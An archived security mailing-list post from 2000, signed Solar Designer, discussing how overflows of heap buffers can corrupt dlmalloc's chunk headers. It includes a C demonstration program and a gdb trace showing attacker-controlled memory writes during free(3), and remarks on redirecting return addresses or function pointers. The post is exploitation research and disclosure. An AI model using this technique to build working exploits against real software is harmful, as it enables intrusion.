OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Subject: Re: Exploiting overflow of heap-based buffers
From: Solar Designer (solarfalse.com)
Date: Thu May 25 2000 - 03:08:24 CDT

> >
> > There's usually a linked list (or several lists) of free chunks, and I
> > don't know of a malloc implementation where you can mark something as
> > free without having to write into that "something" as well. You can,
> > however, control a memory write on a call to free(3), provided that
> > things don't crash earlier.
>
> The ideal exploitable code which we were thinking of was something
> like:
>
> char *a;
>
> a = malloc(smallish_number);
> discover_the_buffer_is_too_small();
> free(a);
>
> // oops, here we write to the buffer anyway
> // (or maybe we overflowed some other heap variable)
> recv(fd, a, smallish_number, 0);
> // now we control the second entry in the free list
>
> // since bigger_number > smallish_number, we can't
> // reuse the head of the list
> a = malloc(bigger_number);

You probably meant "b" here.

> // now b points inside our stack frame
>
> recv(fd, b, bigger_number, 0);
> // and now our stack frame is toast
>
> Except for the bit which writes to the freed buffer, I can imagine

This isn't really a requirement, we don't need an ideal case in order
for it to still be exploitable.

In your example, you seem to exploit a write in malloc(3); I've found
free(3) to be of more use. There're three possible cases in dlmalloc
where free(3) will consolidate two adjacent free chunks. One of the
three (the "forward" one) requires that you only smash one chunk, and
on a little-endian you only need to overwrite the LSB of a field (to
reset the PREV_INUSE flag). This amounts to at least 13 bytes you
need to smash on x86 (or 25 bytes on alpha, and up to 32 for a 64-bit
big endian). The other two cases require that you smash at least two
chunks. It may well be safe and more reliable to overflow more than
that in a real-world application, provided that it wouldn't crash of
bad data in a malloc'ed area before the call to free(3).

A simple way to see what's going on:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct malloc_chunk {
        size_t prev_size;
        size_t size;
        struct malloc_chunk *fd;
        struct malloc_chunk *bk;
};

static void show_chunk(void *p)
{
        struct malloc_chunk *chunk;

        chunk = (struct malloc_chunk *)((char *)p - 8);

        printf("%p: %u %u/%u%u %p %p\n",
                p,
                chunk->prev_size,
                chunk->size & ~3,
                (chunk->size & 2) >> 1,
                chunk->size & 1,
                chunk->fd,
                chunk->bk);
}

int main()
{
        void *a, *b, *c;

        a = malloc(0);
        b = malloc(0);
        c = malloc(0);
        strcpy(c, "0123456789ab");

        show_chunk(a);
        show_chunk(b);
        show_chunk(c);
        show_chunk(c + 16);

        puts("free(a);");
        free(a);
        show_chunk(a);
        show_chunk(b);
        show_chunk(c);
        show_chunk(c + 16);
        puts("free(b);");
        free(b);
        show_chunk(a);
        show_chunk(b);
        show_chunk(c);
        show_chunk(c + 16);
        puts("free(c);");
        free(c);
        show_chunk(a);
        show_chunk(b);
        show_chunk(c);
        show_chunk(c + 16);

        return 0;
}

This is for Linux/x86. A modified version works exactly the same way
for Linux/Alpha as well, but you need to change the + 16 to + 32 and
use a 24 character long string to overflow (we need to get to the LSB
of prev_size). This will crash on the second call to free, like this:

0x120100d60: 0 32/01 (nil) (nil)
0x120100d80: 0 32/01 (nil) (nil)
0x120100da0: 0 32/01 0x3736353433323130 0x6665646362613938
0x120100dc0: 3978425819141910832 4608/00 (nil) (nil)
free(a);
0x120100d60: 0 32/01 0x200002d9058 0x200002d9058
0x120100d80: 32 32/00 (nil) (nil)
0x120100da0: 0 32/01 0x3736353433323130 0x6665646362613938
0x120100dc0: 3978425819141910832 4608/00 (nil) (nil)
free(b);

Program received signal SIGSEGV, Segmentation fault.
0x2000016dbe8 in chunk_free (ar_ptr=0x200002d9018, p=0x120100d50)
    at malloc.c:2959
(gdb) disass $pc $pc+8
Dump of assembler code from 0x2000016dbe8 to 0x2000016dbf0:
0x2000016dbe8 <chunk_free+328>: stq t3,24(t2)
0x2000016dbec <chunk_free+332>: stq t2,16(t3)
End of assembler dump.
(gdb) i r t2
t2 0x3736353433323130 3978425819141910832
(gdb) i r t3
t3 0x6665646362613938 7378413942531504440

Two memory writes under our control. There's an obvious limitation,
though: the writes are related, so if this is used to modify a return
address or a function pointer, the target piece of code should be in
a writable area (such as, on the stack, and not be a part of libc).

> > Perhaps Matthew could point us to a malloc where an area can be just
> > marked as free?

[ Context for the rest of us: I was talking about the possibility to
overwrite a free list entry without breaking the linked list itself.
Normally, this would require that a next or prev pointer (or both) be
written into the extra area. ]

> You might find a malloc() which keeps the free list fairly dense at
> the front of the list. That could reduce cache footprint and save
> dirtying free()d pages.

That would also cost one extra pointer per chunk, right? (I mean a
pointer to the area itself.)

Signed,
Solar Designer